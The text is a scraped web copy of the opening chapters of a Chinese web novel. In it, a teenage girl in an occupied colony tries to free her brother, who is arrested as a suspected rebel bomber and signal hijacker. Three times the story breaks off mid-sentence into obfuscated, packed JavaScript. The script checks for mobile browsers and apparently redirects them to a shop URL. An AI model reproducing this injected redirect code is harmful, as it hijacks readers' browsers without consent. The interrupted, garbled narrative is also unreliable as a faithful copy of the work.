《总督的金色囚笼》 1. 爆炸案 夜已经深了。 尤纪熄灭了桌上的煤油灯,怀中抱着兄长连弛今天送她的玩偶熊,正准备入睡时,听到了开门声。 再然后,又是一声“咔哒”。 锁芯闭合,大门关闭。 这一切动作都很轻,但是瞒不过尤纪的耳朵。 家里的门合页有些生锈,稍稍晃动,便会发出咯吱咯吱的声响——三年前,她的父母也是在这样的一个夜晚离开,再也没有回来过。 又是上夜班吗? 尤纪翻了个身,闭上眼睛,想象连弛熬夜工作的样子。 今天是发薪日,她与哥哥吃了一顿大餐——松软的吐司和奶油焗蛤蜊,兄妹俩撑得肚子都圆了。 连弛给她买了一直玩具熊,还说要多攒些钱,送她转校,去新人类学校里。 尤纪完全不信连弛的话。 转校的钱完全是一笔巨款,更别提新人类学校高昂的学费和住宿费。 在《新人类就业禁止法案》的影响下,连弛一天打三份工来供她读书,怎么可能赚得到足够的钱呢? 若不是连弛反对,尤纪甚至想辍学去打工,分担他的压力。 “很辛苦呢,哥哥……” 她舔了舔嘴唇,仿佛口中还留存着奶油的浓香和蛤蜊的鲜甜。 半梦半醒间,尤纪被装甲车驶过街道的声音吵醒。 还有几声枪响。 尤纪从床上跳下来,也来不及点灯,便去敲兄长的门。 “笃笃笃——” 没有回音。 “哥哥,你睡了吗?” 尤纪问完才想起来,兄长是出去上夜班了。 她背靠着木门,慢慢地滑坐到了地上,心中的不安越来越深。 车轮碾过马路的声音终于消失。 尤纪听到很远的地方传来密集的、几乎是没有间断的枪声。 声音是蒂亚中心的方向传来的。 尤纪跑到窗户边,朝着枪声的来源望过去。 那一排排白色尖顶的漂亮别墅处,正发生着一场恐怖的爆炸。 那一团巨大的火光几乎照亮了半个殖民中心。 蘑菇状的浓烟从平地上升腾而起,一群白色尖顶建筑物变得一团焦黑。 一声“轰隆”的巨响震动木结构房屋,连脚下的地板也受到影响。 尤纪的心脏突突地跳动。 即使相隔那么远,尤纪的耳膜仍充斥着着巨大的爆炸声音。 蒂亚中心被……炸掉了? 或许是三十秒,或许是一分钟,尤纪的听觉总算是恢复了。 她扶着窗户,双腿发颤,有些站不稳。 “又是这群反抗军!” 楼下的迪莫也被吵醒了。 他破口大骂:“这些人不让人活了!一群表-子养的坏蛋!天天搞恐怖袭击,新人类就是一群怪物!早该死绝了!” 污言秽语不断地从窗口飘进尤纪的耳中,还夹杂着对新人类的侮辱和谩骂。 是的,邻居迪莫是个人类。 帝国人占领蒂亚国之后,迪莫成为了他们的忠实拥趸。 尤纪听着他的骂声,面无表情。 不过是祖辈幸运,没有受到那一场太阳辐射而变异罢了。 有什么了不起的? 她甚至期盼着反抗军突袭平民街,将迪莫这样的人就地枪决——他们就是正义的化身。 这些反抗军都是被通缉的Alpha,若是蒂亚国还在,她或许在某一天会成为他们某个人的妻子。 但更多的时候,尤纪也很讨厌这群人。 他们崇尚暴力,总是打着推翻帝国的口号,到处搞破坏。 本就在夹缝中生存的新人类,因为他们的破坏,处境变得更糟。 现在已经很好了不是吗? 相较于其他被占领的国家,蒂亚区的新人类们至少有一条生路。 这些反抗军为什么一定要做这些伤害所有人的事情呢? 能活下去,已经是女神的福祉了。 随着那一场爆炸的结束,密集的枪声也逐步平息。 莫迪没有再骂,他好像又睡着了。 尤纪站在窗边,耳边涌进来自楼下的打鼾声。 连弛的工作地点是蒂亚中心的边缘地带,他包揽了那一带的下水道清理和垃圾处理工作。 今天他也加班…… 正当尤纪担忧之时,不远之处,平民街的尽头,有一队穿着制服的帝国军人朝着这边走过来,金属武器和盔甲反射着冰冷的月辉。 是帝国巡逻队? 他们今天已经巡逻过一次平民街了,按常理来说不会再来第二次。 尤纪在窗边蹲下,手指紧紧抠住窗帘,屏住呼吸,心如擂鼓。 那一队军人经过窗下时,她听到了他们的对话。 在蒂亚,会帝国语的人很少,这些人毫无顾忌地用帝国语进行交谈,一点也不害怕被人听见。 而尤纪的母亲是蒂亚国国立大学教帝国语的副教授,耳濡目染之下,尤纪的帝国语并不逊色,甚至比帝国语专业的大学生要好。 “动作快点,总督严令,务必在48小时内抓到线索。” “听说通讯塔被炸了,总督大怒,直接拍碎了桌子。” “赶紧搜,新人类街区重点排查。按照总督指示,宁可错抓,不可放过!” “在大街上巡逻有什么用呢,按我来说,要抓线索得宪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203727|197317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兵队出马吧……” “上级的命令,我们照做就是。想那么多做什么。” 总督严令…… 拍碎桌子…… 宁可错抓不可放过…… 尤纪将自己缩成紧紧一团。 楼下的迪莫鼾声如雷。 木窗外,一轮月亮像是蒂亚女神的目光,注视着这片被帝国碾碎的土地。 冷白的月光照在omega少女几乎看不到毛孔的侧脸上,浓密的睫毛在眼下投下一片阴影。 玩偶熊还抱在怀中,尤纪将它抱得越来越紧,头埋进它毛茸茸的皮肤里,呼吸着它充满机油和人造茸毛的味道。 她的思绪闪回到父母离开的那个夜晚。 连弛……他会像父母一样离开这里,还是平安回家? 困顿、不安围绕着她,尤纪缩在窗户边,慢慢地睡着了。 她做了一个梦,梦见蒂亚国以前的场景。 漂亮的沙滩,热闹的集市,繁荣的经济,还有…… 还有以前的那个家,恩爱的的父母。 在以前,大约四五年前的时候,他们家住在苏堂路。 那一片都是很漂亮的独栋小楼,属于首都的富人区,邻居们个个非富即贵,大家都礼貌有素质。 后来父母投资失败,房子和车子都抵债,举家搬迁到平民街上。 “日子会一天天好起来的。” 父亲常常把这句话挂在嘴边。 他还总说,要买回以前的房子,重新回到苏堂路。 但日子还是越来越差了——因为帝国占领了这里,新人类沦为帝国人、蒂亚国人类之下的二等公民。 蒂亚国曾经是联邦最开放、最文明的一个国家,新人类与人类混居,种族平等被写入宪法。 这里曾被誉为联邦的明珠。 后来,帝国攻占了这里。 荣光消逝,明珠蒙尘。 越来越多的新人类正在逃离这里,通过合法的、不合法的手段,前往联邦的其他国家。 在这里,新人类甚至被剥夺了正常的受教育权,最高学历止步于高中。 那之前,连弛是蒂亚国立大学通讯系四年级学生,距离毕业只差半年。 他是个很优秀的Beta,脑子聪明,为人踏实,每年都拿蒂亚国立大学的奖学金。 若非这场战争,连弛会毫无意外地进入蒂亚国通信技术研究所,当一名研究员。 再一步步深造,可能还会像母亲一样去蒂亚国立大学当老师,成为全家人的骄傲。 而不是日复一日地重复体力工作,只为混一口饭吃。 冷月高悬。 美丽且脆弱的omega少女在梦中落泪。 2. 信号劫持 尤纪是被黄油煎鸡蛋和罗勒叶烤香肠的香味唤醒的。 她在床上醒来。 是连弛回来之后,把她抱到床上去的。 谢天谢地,连弛没有受到昨晚那场爆炸的影响,平安到家了。 尤纪心中松了一口气,从床上翻起身,光着脚跑到厨房。 厨房里升着炭火,黄油和罗勒叶的味道更加浓郁。 连弛腰上系着围裙,正埋头做饭。 看着兄长的背影,尤纪有点恍惚。 在从前,他们全家住在苏堂路的别墅里。父亲是蒂亚国报社的记者,工作很自由,总是在早上给他们做黄油煎鸡蛋和罗勒叶烤香肠。 “哥哥,你回来了!” 尤纪深吸了一口气,像一枚小炮弹一样冲上前去,从背后抱住连弛的腰,用脸颊蹭着他的背。 “哥哥,你昨晚上几点回来的?” 连弛低头看了一眼妹妹细瘦、光裸的手臂,又很快移开了目光。 他用夹子将煎蛋翻了个面,低声训斥:“尤纪,我都说过了,你是个十六岁的大女孩了,不能再这么黏着哥哥。” 尤纪听闻,反而抱得更紧。 她用额头抵住他的后背,像个孩童一样撒娇。 “昨晚,我看见那场爆炸了……我很害怕,我怕你像爸爸妈妈一样,不会回来了。” 连弛的身体有片刻的僵硬。 他没有将尤纪的手臂扒开,默许了这样毫无边界感的动作。 “吓到了吗?昨晚上肯迪特先生家里的下水道堵了,我一直忙活到了后半夜。” “哦。” 尤纪应了一声,继续向他诉说自己的不安。 “昨晚还有帝国军队经过我们楼下了……他们说,总督要他们48小时内抓到线索……” 在这缓缓的诉说声里,尤纪终于冷静下来。 她开始发现今天早上的非同寻常。 自从被占领后,罗勒叶的价格比从前涨了二十倍不止,已经属于一种十分昂贵的香料。 连弛的薪水到底发了多少? 昨天是奶油蛤蜊,今天又是罗勒叶烤香肠。 他们家已经能吃得起这些昂贵的食物了吗? 尤纪踮着脚尖凑近了连弛,在他的头发和脖子处嗅闻,鼻尖甚至触碰到了他的发根——没有往日的除臭消毒水的味道。 取而代之的,是另一股味道。 金属和……火药的味道。 父母离开前,尤纪从他们身上闻到过这个味道。 即使连弛是一个beta男性,这仍旧是一个教科书式的骚扰行为。 “尤纪,你干什么?” 连弛终于推开妹妹,厉声斥责:“我什么时候教过你,可以随意去闻别人?我真是把你宠坏了。” 尤纪抿着嘴巴,不再说话。 “好了,去吃饭吧。”连弛端起盘子,示意妹妹赶紧去餐厅。 早餐已经做好,煎鸡蛋夹在吐司片中,烤香肠放在餐盘里,每人一杯热牛奶。 尤纪咬了一口夹了煎鸡蛋的吐司片,一股熟悉又陌生的味道填满她的味蕾。 吐司是平民街那家旺吉太太那里买的,这种吐司在出炉前裹上了蜂蜜和牛奶,比普通的吐司要贵上三倍。 收音机里在放着今天的新闻。 “昨夜凌晨,蒂亚中心被武装分子闯入,蒂亚区与帝国的通讯联络发射塔被炸毁,同时有十八位帝国人、三十位平民伤亡,反抗军的人宣布他们对此次袭击负责。 “备用信号发射器已启用,反抗军此举除了滥杀无辜、激起民众的反感情绪外,毫无作用。” 连弛问尤纪:“怎么突然听新闻频道了,以前你不是总听音乐频道吗?” 尤纪看了哥哥一眼,说:“没有什么原因,就是突然想听新闻了。” 连弛没有发表看法,只是把自己盘中的烤香肠分了尤纪半根。 他靠近时,尤纪又闻到了他头发上的那股味道。 尤纪正在犹豫的时候,收音机出了故障。 在一阵“沙沙”声之后,莫名其妙地跳到了另一个频道。 一个尤纪从未听过的频道。 一个充满电子音的声音正在说:“联邦人权理事会抗议帝国在蒂亚国的反人权行为,呼吁蒂亚国原住民反抗帝国军的暴行,呼吁自由、平等和博爱,请收听频道742-89。” 很快,经过几秒钟的电子杂音后,原本的新闻频道又回来了。 是关于蒂亚区反抗军的抓捕、羁押、审判的新闻——听说,反抗军的头领已经被抓获并处死,如今,帝国正在搜捕剩余的反抗军成员。 反抗军成员被抓捕,早就是司空见惯的事情了,而在反抗军头领死亡后,这些新闻播出得更为频繁。 ——帝国在用一切手段宣告着他们的胜利,不放过任何一点零星的成果。 ——他们要碾碎反抗者的脊梁,摧毁反抗者的精神,瓦解反抗者的意志,让这片土地原有的主人接受沦为二等公民的现实。 “插播一条紧急新闻。刚刚,蒂亚区新闻广播电台遭信号入侵,入侵者此举涉嫌违反蒂亚区新闻广播条例,目前已上报总督署。 “总督桑雷斯·贝德福阁下对此表示极度震怒,严令通讯安全部门及宪兵队立刻追查信号来源,务必在24小时之内将破坏分子缉拿归案。 “总督重申,任何挑战帝国通讯安全与蒂亚区秩序的行为,都将受到最严厉的制裁!” 尤纪不自觉地看向兄长。 “哥,你对反抗军……有什么看法?”尤纪毫不避讳地问他。 连弛切香肠的餐刀碰到陶瓷盘,发出有些刺耳的脆响。 他没看她,只是叉起一块香肠放入口中,缓慢地咀嚼着。 “我以前就告诉过你,尤纪,他们很危险,离他们远一点。” “危险?”尤纪的声音拔高一度。 她放下了手边的餐具,上半身微微前倾,迫切地想从连弛的口中得到答案。 “那你告诉我,昨晚肯特先生家的下水道,通得顺利吗?” 空气骤然凝固。 连弛低着头没有回答,尤纪看不清他的表情。 一片静寂中,只有墙上挂钟的秒针还在“滴答滴答”响着。 “哥哥,你回答我的问题。”尤纪用一种近乎是逼视的目光直直看着连弛。 回答她的依旧是沉默。 尤纪指尖冰凉。 为了逃避这样的沉默,她提着裙摆,飞奔下楼。 楼下,帝国的军人正在押送囚犯,许多人,不论是新人类,还是人类,都站在周边围观 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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有的在赞扬帝国军做得好,早该把这些到处搞破坏的人处刑,有的说当众的绞刑太重了,只是牵连的话没必要让他死。 尤纪白着一张脸,从人群中往后退,刚好撞到前来寻她的连弛。 连弛半拉半拽地将她带回了家里,冷着脸,守着她吃完了早餐。 尤纪毫无认错的悔意,只是再次询问他:“哥哥,你真的没有参加反抗军?” 连弛的表情很不耐烦。 他冷笑着反问她:“我如果参加反抗军,被帝国抓了,谁来养你?” 或许是觉得自己的语气不够温柔,他缓了声音,安抚着妹妹:“尤纪,我昨晚真的是去肯迪特先生家里通下水道了……爸爸妈妈都不在,哥哥只有你一个亲人了,我怎么舍得让你也处于危险之中呢……” “但是你有事情瞒着我。”尤纪说。 连弛沉默半晌,最终开口:“每个人都有自己的秘密,尤纪,你不可以窥探哥哥的隐私。” 尤纪没有再说话。 袜子里被那个囚犯塞入的东西,一直硌着她的脚。 为了报复兄长的隐瞒,尤纪决定不告诉他关于囚犯的事情 3. 你哥哥被抓走了 吃完早餐后,尤纪去洗碗和收拾厨房。 昨晚加了班,今天又是周末,连弛今天一整天都是休假。 他回房间补觉前又嘱咐尤纪:“外面有点乱,乖乖留在家里,这几天别乱跑。” 尤纪应了声。 连弛不太满意她的敷衍,关了门后又开门,特意跟她讲:“地上凉,光脚容易感冒。” “好了,我知道了,你去睡觉吧哥哥。” 等确定连弛躺上床后,尤纪回到房间,脱下她的袜子。 袜颈处还沾染了一些凝固的鲜血,尤纪从袜子里找到那个囚犯塞给她的东西。 是一枚指甲盖大小的金属件,圆圆的,上面好像还雕遮什么花纹。 尤纪从柜子里翻出放大镜,终于看清楚了上面的花纹。 外面是一个正三角形,中央盛开着一朵红色鸢尾花——这是反抗军的标识。 尤纪指尖捏着这枚徽章,呼吸急促起来。 这是她接近反抗军最近的一次。 莫名地,尤纪想起了今天早上入侵的那段信号的电子音…… 她把徽章藏到柜子的夹层中,又将收音机抱到了自己的房间里,把天线拉到最长,信号调频到了742-89。 做这一切时,她都是蹑手蹑脚的,就算是关上了门,也不敢把声音调大。 742-89频道正在放一首歌。 “我们在夜色里穿行,我们穿过荆棘密布的丛林,我们跨着来福枪,我们与鸟兽同眠……” 这一首名叫《我们》的歌曲是为了纪念一个叫多蒙的Alpha,讲的是她带领联邦的战士与帝国军交战,最终胜利的故事。 《我们》风靡了联邦一段时间,后来帝国占领了蒂亚国,这首歌便被禁了。 尤纪觉得尤为怀念,忍不住跟着一起轻轻哼唱。 听了一会儿歌曲,她估摸着时间差不多了,便将收音机放回原位,出门去买水。 平民街没有通电,也没有通自来水,要用水只能走出平民街,去第九大街那边买,一个硬币一桶。 平时买水都是连弛在做,但他昨晚上了夜班,今天就轮到尤纪买水。 虽然水桶很沉,但尤纪并不讨厌这个家务。 因为去第九大街,会经过奥尔多的家门口。 一想到待会儿要见到奥尔多,尤纪的心情重新雀跃起来。 奥尔多·谢尔是个极其稀有的混血儿,父亲是个beta男性,母亲则是人类。 他是她见过的最英俊的男孩子,也是班级里最聪明的男孩子。 他左脚有点跛,这是混血儿的缺陷,但这在尤纪这里不足一提。 他已经好几天没来上学了,听说他的父亲生病了,她准备顺路去看望一下。 尤纪盘算着,先去买水,买完水就去奥尔多家中探病。 这样的话,奥尔多会绅士地帮她提水桶,送她回家,他们可以多相处一段时间。 说不定谢尔太太还会留她吃午饭。 囚犯的惨状、兄长的叮嘱,在少女萌动的春心中早就忘得一干二净。 --- 买完水,尤纪双手提着水桶一路往回走。 她脑海中正想着怎么跟奥尔多对话,该死的邻居迪莫又出现在了第九大街。 他背着手,挺着满肚子的肥油,表情得意得像是整条街的主人。 乍一看还以为是猪圈里的猪出栏了。 尤纪根本不打算跟他打招呼,但迪莫叫住了她。 “喂,住我楼上的那个新人类。你哥哥被帝国军抓了,刚刚才发生的事。” “别乱说!” 尤纪气得怒火冲天。 她立即放下了手中的水桶,叉着腰,打算毫不客气地骂回去,或者揍他一顿。 可迪莫是个身高一米九的粗鲁壮汉,尤纪根本打不过他。 “不信你自己回去看看就知道了。我可没骗你……你哥哥,是参加了反抗军吧?” “我哥哥是不会参加反抗军的!”尤纪反驳他。 迪莫冷笑一声,忽地凑近了尤纪。 “哈哈!你哥完了!帝国军拿着总督签发的逮捕令冲进你家,说他涉嫌参与爆炸案!那可是总督亲自督办的大案!真看不出来啊……小东西,你是不是快成年了?” 他的眼神变得下-流且放肆:“小东西,我没骗你,你哥哥确实是被帝国军抓走了……我倒是可以帮忙,如果你求我的话……” 尤纪被他逼得一步步后退。 迪莫伸出手,想要抓住尤纪的胳膊,尤纪一弯腰,就从他的腋下钻了出去。 她朝他的后背狠狠锤了一拳,毫不留情地破口大骂。 “你这头满肚子流油的肥猪,你这个肮脏的蠢货,魔鬼也不要的垃圾货色,满口谎言的骗子,你等着吧,等着我哥哥把你打成一团肉泥!你的肥肉又脏又臭狗都不吃!” 她骂得尽兴,迪莫跑过来追,尤纪连连水桶也不要了,一路飞奔去家门口。 迪莫追了两步就气喘吁吁,只能看着她的身影消失在第九大街,口中骂骂咧咧地走了。 房门大敞着,家里的东西被翻得乱七八糟。 兄妹俩的房间门也大开着。 尤纪的书桌上、抽屉里的东西都被翻了出来,衣物、书本,乱糟糟的一团。 新买的玩偶熊被人踩了一脚,茸毛布料上有一只灰色的鞋印。 尤纪弯下腰把玩偶熊捡起来,用手掌去擦表面的脏污,岂料越擦越脏。 连弛房间里更乱。 不但书桌和衣柜被乱翻过,床铺也移了位置,连被子都被撕开,露出了里面的棉花。 他读书时候的课本被翻出来,又被粗暴地撕扯成两半扔在地上,依稀可以看到上面写的“蒂亚国国立大学通讯系专业课本”几个字。 尤纪呜咽一声。 早上那群被押送去绞刑场的囚犯,反复在她脑海中出现。 她牙齿打颤,胃里翻江倒海,耳鸣几乎要淹没一切。 收音机被摔到地上,被磕碎一个角。 尤纪打开它,想靠听音乐来缓解一下焦虑,在按动开关时,她的手一直在发颤,好几次才按对了按键。 一打开就是742-89频道。 这个频道里仍旧放着帝国的禁歌。 “海浪轻轻,他的身体轻轻。银白的沙滩和白色的浪花。海鸟在歌唱,月色不见踪影,乌云连绵起伏。神使将他的孩子送来世间,孩子乘船从世间返回神域。神说孩子欢迎回家,神域没有战火、枪炮和死亡。” 这首歌用的是帝国语,尤纪以前没有听过,但她大致能从歌词里面猜到这首歌的背景。 在战争刚发生时,有一个孩子跟着家人坐船离开蒂亚国,但不幸的是,帝国的炮弹炸毁了船只,载着整艘船的乘客沉没在汪洋大海中。 一个孩子的尸体从蒂亚国海域顺着洋流漂到了帝国大陆的一片沙滩上,被发现时,他的身体趴在沙滩上,湿漉漉的身体正在被海浪所冲刷。 作为侵略者的帝国并非全员都是好战分子。 帝国的内部也有许多和平人士,这应该是他们写的歌曲。 蒂亚国沦陷前并没有进行新闻管控,尤纪还从报纸上看到过他们抗议的事情。 宁静美好的歌词带着善意和祝福,温柔的女声平息了尤纪的恐惧和不安,摇篮曲和缓的旋律使得她不断跃动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203729|197317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的心跳也趋于正常。 这样就好了,尤纪想。 蒂亚国已经沦为蒂亚区,帝国人正往这里迁来,如果没有反抗军——那些零乱、不成规模的骚动也不足以扰乱帝国军队用铁血镇压所换来的秩序。 至于新人类的处境? 尤纪想,她还能忍受。 只要不是大范围的种族屠杀,只要新人类还保留一部分公民的权利,不至于沦落成奴隶,尤纪觉得她还是能忍受的。 但是哥哥被抓走了。 连弛、连弛、连弛。 一想到连弛,尤纪又陷入了焦虑和恐惧状态。 她痛苦地抓着自己的头发,甚至想用头去撞墙,去想一个救出连弛的办法。 电光石火间,尤纪想到了一个帮哥哥洗脱嫌疑的办法。 连弛有一个联络簿,上面写着顾客的地址。 她到处翻找,终于在餐桌底下找到了那本通讯簿,对着窗外的日光翻找起来。 谢天谢地……上面写了肯迪特先生家的联络方式。 她决定给肯迪特先生打一个电话。 只要肯迪特先生肯帮忙,去蒂亚区警署证明哥哥昨晚上确实是在他家通下水道,就能洗清哥哥参与爆炸案的嫌疑——前提是,连弛没有骗她。 尤纪拿起桌上的电话机,用手摇了一会儿发电,急匆匆地告诉接线员:“请转接肯迪特先生家中,地址是蒂亚中心外围第九街区22号。” 电话很快接通了。 接电话的是肯迪特先生的妻子。 “是的,昨天晚上确实有一个清洁工为我家疏通了下水道……抱歉,我昨晚上睡得太早了,我不知道那个清洁工到底是不是你哥哥,也不知道他是什么时候离开的…… “真的非常抱歉,我不能去为他作这样一个证明,我不确定他有没有在为我家工作完之后参与了爆炸案……” 尤纪能听出肯迪特太太声音里的疲惫。 不管尤纪怎样说,肯迪特太太都不同意为连弛作证。 “太太,求求您了,我的父母失踪了,我只有哥哥这一个亲人了……” 在她不断的哀求下,肯迪特太太终于卸下了她那种刻意的礼貌和生疏。 “昨晚上我的父母都因为爆炸案离世了!连尸体都没有留下!我丈夫正在主持他们的葬礼!” 电话那端传来歇斯底里的哭声。 “这些新人类,任何一个有嫌疑的新人类都应该抓起来被审问!” 电话被挂断了。 尤纪沉默地放下听筒,盯着巴掌大的联络簿发呆。 一片空茫茫的寂静中,她又想到了一个人。 麦肯·威尔森,beta男性,蒂亚国立大学的教授。 他和母亲是关系不错的同事,小时候,母亲带着她去威尔森教授家吃过几次饭。 他十四岁就上了大学,博士毕业后就被蒂亚国立大学聘用,发明了蒂亚国军用加密通讯技术,是通讯方面的专家。 他原本是连弛的专业课老师。 在蒂亚国沦为蒂亚区后,他投靠了敌人,成为了帝国军用通讯部队的顾问——同时也成为了反抗军多次刺杀未果的对象。 麦肯·威尔森在蒂亚国的风评不算好,许多人都称他为叛徒。 尤纪听连弛提起过,他现如今住在蒂亚中心。 她不确定他有没有被昨夜的爆炸所波及到。 怀揣着最后的一丝希望,尤纪重新拿起了电话。 “接线员您好,请接通麦肯·威尔森的电话……地址?在蒂亚中心……” 尤纪费力地回忆起他的住址,她并不确定他还住在那里。 所幸,电话接通了。 4. 叛徒麦肯·威尔森 电话接通时,听到来自麦肯·威尔森的那句“你好”,尤纪落下了眼泪。 “威尔森先生,您好,我是尤纪,不知道您是否还记得我……” 她一边哭着,一边与麦肯通话。 “尤纪?我记得你,真是个幸运的小家伙,要知道,我通常都不住在这里……你别哭,我们慢慢讲……是谁告诉你,他是因为爆炸案被抓的?” 尤纪用衣袖擦了眼泪,深呼吸了一口气,才说:“我邻居告诉我的。” 她听见电话那端的人叹了一口气。 “实际上,你哥哥还是信号劫持案件的嫌疑人……小姑娘,今天早上的事情,你听说过了么?” 尤纪记得很清楚。 她对麦肯·威尔森用肯定的语气说:“当时我哥哥和我正在吃早餐,我可以肯定他并不是这场信号劫持的嫌犯。” 威尔森又叹了一口气:“我相信你,但是帝国军不相信你。这次信号劫持所用的方法,在他当年的论文中写过,那是他毕业论文的初稿。 “尤纪,你要知道,读过这份论文的人没有几个……帝国军还在他的房间内找到了无线电干扰设备……” 尤纪愣住了,很快,她就开始冷静地反驳他:“我哥哥是通讯专业的学生,你们在他的房间中找到干扰器很正常。更何况,那个742-89频道在他被抓之后,仍然还在工作。” “哦,你听了那个频道?” 尤纪咬着牙,她拿着听筒的手不住发抖:“我只是好奇……” “这件事情已经已上报总督署,被抓的人也不止你哥哥一个。尤纪,不是我不想帮你……但是我真的,真的没有办法,你知道的,我的身份现在很尴尬。” 这是非常委婉的拒绝。 随着他的话语,尤纪的心慢慢地下沉。 麦肯·威尔森说的证据非常充分,尤纪已经快要绝望了。 “那请问,有什么办法,可以让我帮助哥哥……” “尤纪,你帝国语挺好的吧?”威尔森突然问。 尤纪不知道威尔森先生为什么突然这样问,但还是回答了他:“是的,我一直跟着母亲学习帝国语……” “你的专业性怎么样?我指的是,你对于通讯方面的帝国语专业术语,了解得怎么样?” 尤纪的眼前仿佛又看到了希望,她极力地向这位帝国的叛徒推销自己的专业性。 “我们家一直都是双语教学,我常常和母亲用帝国语对话。去年的时候,我辅助过哥哥翻译了一本通讯方面的帝国语书籍,哥哥还有一本他自己制作的词典,我可以一同带上……” 她听见威尔森在电话那头笑了。 “真是我的好女孩,”他顿了顿,似乎觉得这样的称赞有些冒犯,“我的翻译今天刚好生病请假,现在正愁找不到人。今天晚上,大概七点半,我需要面见一位大人物,如果你想要救你哥哥的话……” 尤纪没有听完,她直截了当地接受了他的请求。 “我要怎么去您哪里?您知道的,新人类在一般情况下不允许进入蒂亚中心内部的。” 威尔森却问她:“你就不先打听一下,那位大人物是谁,就这样直接地同意了?” 尤纪紧紧地握着电话机,心中预感到这位大人物非比寻常。 “我不需要知道这位大人物是谁,只要可以帮助哥哥,哪怕……哪怕他是蒂亚区的总督,我也会当好一个翻译。” 电话那头的威尔森沉沉笑了。 他不疾不徐地告诉尤纪:“聪明的小姑娘,你猜对了,那位大人物就是蒂亚区的总督。” 尤纪愣住了。 总督。 那个以铁血手腕著称、宁可错杀十个不肯放过一个、亲手签发了《新人类就业禁止法案》,禁止新人类从事技术性工作,还下令将反抗军帮助犯当众处以绞刑的人。 那个恶魔。 她要去当翻译,像威尔森一样做个叛徒,背叛原本的蒂亚国吗? 哥哥知道了,会怎么想她?其他的邻居们知道了、奥尔多·谢尔知道了,又会怎么看待她? 父母……若是父母有一天回来了,得知她背叛蒂亚国,还会承认这个女儿吗? 叛徒。 令所有人不齿的叛徒。 威尔森一直没有催促尤纪下决定。 他极其有耐心地等着——他在期待着尤纪的拒绝。 “那么……威尔森先生,”尤纪终于鼓起勇气问他,“我只是当一次翻译,就可以救出哥哥吗?” 威尔森含糊地说着:“尤纪,这我可说不准……若是你哥哥真的像你所说的那样清白,我相信,总督不会拒绝一个小姑娘的求情。” 尤纪飞快地答应了:“威尔森先生,谢谢您,给我一个救出连弛的机会。” 只要有一线救出兄长的希望,尤纪都不会放弃。 —— 下午六点,尤纪依照约定,来到平民街和第九街区的交叉口等待麦肯·威尔森。 天空灰暗,飘起了雨,尤纪没有带伞,只能躲在树下,将词典紧紧抱在怀中。 雨势越来越大,尤纪被淋得浑身发冷。 正当她打算去别的地方避雨时,一辆低调的黑色小轿车停在尤纪的面前。 尤纪从未想过麦肯·威尔森会亲自来接他。 当然,他的车后紧紧跟着一辆车,尤纪猜想那应该是他的保镖。 威尔森穿着整齐的西装,衬衫扣子扣到最上一颗,深灰色的条纹领带打着一个温莎结。 他伸长双腿坐在汽车后座上,鼻梁上的一副金属框眼镜让他看起来有一股儒雅的书卷气。 见尤纪来了,他单手递来一张毛毯,微微低头,温和地向她道歉。 “对不起,我应该早点来接你,没想到你到得那么早。” 尤纪一边说“没关系”,一边接过了她递来的毛毯,擦干了脸上和头发上的雨水。 她将词典递给威尔森,整个人在汽车内置灯光下显得楚楚可怜。 “好孩子,辛苦了。” “没有关系。” 尤纪与朝他露出一个勉强的微笑。 没有等她恢复,威尔森便对她进行了一个小小的翻译测验。 他说了几句专业的话,让她用帝国语翻译一下。 尤纪认认真真地翻译了。整个下午她都在背诵相关的专业术语,到现在已算是滚瓜烂熟。 威尔森的测试不算太难,尤纪并未翻阅连弛的词典,认认真真地将话语翻译完成了。 “很好,尤纪,你是个很有天赋的女翻译,完全可以胜任这份工作,待会儿不要紧张。”威尔森微笑着夸奖她。 “谢谢。” “我先带你去挑一身合适的衣服,”威尔森打量了一下尤纪洗得发白的棉布裙,露出不赞同的表情来,“面见总督,穿得太破旧可不礼貌。” 一听到“总督”两个字,尤纪就没来由地紧张。 她的手抓着毛毯边缘,指尖因为用力过度,显得毫无血色。 威尔森从烟盒里拿出香烟,当着尤纪的面点燃,又递给她一支:“帝国海军牌香烟,你要吗?” 尤纪摇摇头:“谢谢您的好意,但我不需要。” “女人抽烟并非什么大事,尤纪,很多帝国女人都抽这一款香烟。” 尤纪仍是礼貌地拒绝:“我哥哥说,抽烟是坏习惯,不让我学。” 威尔森笑了一下。 他深吸一口烟,口中缓缓地吐出烟雾。 “你这么在意你哥哥?” 车内浓烈的烟味让尤纪有些难受,她摇下了窗户,反问威尔森:“不然我怎么会在您的车上呢?” 从第九大街驱车,通过蒂亚中心入口处的安检后,便呈现了另一派繁华的景象。 这里没有宵禁,人们可以随意外出,街道两旁的商店还开着门。 这勾起了尤纪久远的回忆。 在以前,几乎所有的商店都会开到很晚,丰富的夜生活也是蒂亚国举世闻名的一部分。 她的脸贴着车窗,目不转睛地盯着人来人往的街道。 她看到了一家熟悉的招牌。 温珀斯玩具店。 玩具店在蒂亚中心内部的店面比第九大街那里大得多,几乎占了一整条街。 